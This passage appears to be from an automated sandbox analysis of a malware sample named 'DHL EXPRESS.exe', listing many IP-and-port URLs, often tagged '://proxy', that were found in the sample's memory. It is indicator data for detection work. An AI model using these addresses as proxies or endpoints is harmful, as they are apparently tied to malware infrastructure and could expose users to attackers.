Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://203.96.177.211:43839
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://203.96.177.211:43839://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://203.96.177.211:48553
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://203.96.177.211:48553://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://203.96.177.211:55005
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://203.96.177.211:55005://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://203.98.76.139:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://203.98.76.139:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://204.236.176.61
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://204.236.176.61://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://204.236.176.61:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://205.196.184.69:50704
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD78E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.130.99.147:42350://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.130.99.161:42350
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.130.99.161:42350://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.130.107:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.145.23:49614
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.145.23:49614://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.145.23:59867
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.145.23:59867://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.145.23:63625
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.145.23:63625://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.9.30:42331
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.189.9.30:42331://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.220.175.2:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB46A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.220.175.2:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.42.27.113:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.42.27.113:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:17228
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:17228://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:37443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:37443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:42581
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:42581://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:45718
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:45718://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:60148
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.198.241:60148://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:36946
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:36946://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:37736
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:37736://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:39323
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:39323://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:39737
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:39737://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:42823://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:45876
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:45876://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:48963
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.234.220:48963://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.250.238
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.250.238://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.180.250.238:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD889000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.244.229.34:7976
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.244.229.34:7976://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.244.255.174
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.244.255.174:19770
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.244.255.174:19770://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.109.14.49:22881
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.109.14.49:22881://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.109.14.49:42072
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.109.14.49:42072://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAA85000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.109.14.49:46047
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.109.14.49:46047://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.180.202
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.180.202.147:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://208.180.202.147:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.121.164.50:31147
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.121.164.50:31147://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.126.104.38:15097
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.126.104.38:15097://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.126.104.38:40750
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.126.104.38:40750://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC4FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.126.6.159
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC463000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.126.6.159://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.126.6.159:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.14.112.10:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.14.112.10:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.14.112.8:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.14.112.8:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.142.64.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.142.64.219:39789
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.142.64.219:39789://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.145.60.213
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.145.60.213://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.145.60.213:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.159.153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.159.153.19:24543
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.159.153.19:24543://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.159.153.22:41114
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB2ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.159.153.22:41114://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.182.192
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.182.192.90:28749
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.182.192.90:28749://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.222.97.30:19481
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.222.97.30:19481://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.250.230.101:9090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.250.230.101:9090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.250.248.127:45534
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.250.248.127:45534://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.97.176.112:11793
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.97.176.112:11793://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://210.156.35.196
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://210.156.35.196://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://210.156.35.196:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.128.96.206
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.128.96.206://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.128.96.206:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB2ED000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.194.214.128:9050
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.194.214.128:9050://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD749000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187:8193
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187:8193://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187:8197
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.252.187:8197://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.98.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.98.67:24019
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.222.98.67:24019://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD97C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.234.125.5:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.43.214.205
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.43.214.205://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://211.43.214.205:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.108.145.195:9090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.108.145.195:9090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.189:34405
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.189:34405://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.193:34409
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.193:34409://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.195:34411
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.195:34411://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.198
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.198:34405
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.198:34405://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.211:34409
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.211:34409://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.213:34411
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.213:34411://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.216:34405
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.222:34411
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.110.188.222:34411://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.118.43.143
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.118.43.143://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.118.43.143:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.127.93.185:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.127.93.185:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.154.82.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.154.82.52:9090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.154.82.52:9090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.220.13.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.220.13.98:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.220.13.98:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.231.197.29:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.231.197.29:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.31.100.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.31.100.138:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.31.100.138:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.137.165:61564
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.137.165:61564://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.191:51769
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://212.83.143.191:51769://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.131.230.161:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.131.230.161:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://213.136.75.85:59058
